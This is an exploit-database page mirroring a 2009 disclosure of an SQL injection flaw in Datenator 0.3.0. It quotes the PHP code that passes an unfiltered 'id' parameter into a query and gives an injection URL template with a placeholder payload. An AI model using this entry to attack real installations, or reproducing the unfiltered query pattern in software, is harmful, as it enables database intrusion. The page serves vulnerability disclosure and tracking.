Lucene search
K

Datenator 0.3.0 (event.php id) SQL Injection

🗓️ 26 Dec 2009 00:00:00Reported by The_HuliGunType 
zdt
 zdt
🔗 0day.today👁 26 Views

Datenator 0.3.0 SQL Injection in event.ph

Code
============================================
Datenator 0.3.0 (event.php id) SQL Injection
============================================

# Exploit Title: Datenator 0.3.0 (event.php id) SQL Injection
# Date: 26.12.09
# Author: The_HuliGun
 
# Look on code in event.php:
  
22: if(isset($_GET['id']))
23: {
24:     $event = $datenator->read_event_info($_GET['id']);
 
# Function read_event_info() is in file includes/functions.php
 
412: function read_event_info($event_id)
413:    {
414:        $sql = "SELECT * FROM
415:        ".$this->getConfig('db_tableprefix')."events,
416:        ".$this->getConfig('db_tableprefix')."events_repeat
417:        WHERE
418:        ".$this->getConfig('db_tableprefix')."events.event_id = ".$this->prepare_sql($event_id)." and 
419:        ".$this->getConfig('db_tableprefix')."events_repeat.repeat_event_id = ".$this->prepare_sql($event_id)."";
420:
421:        $event_data=$this->db->Execute($sql);
422:
423:        if($event_data) {
424:            return $event_data;
                        ...
 
# As you can see variable id is not filtered, so, we can use such exploit with any php settings:
 
http://[targethost]/[path]/event.php?id=[SQL]
 
# Bug discovered by The_HuliGun
 
# Greetz to: NaTka, hope you'll find yourself ;>
 
# See u soon!



#  0day.today [2018-02-18]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Dec 2009 00:00Current
7.1High risk
Vulners AI Score7.1
26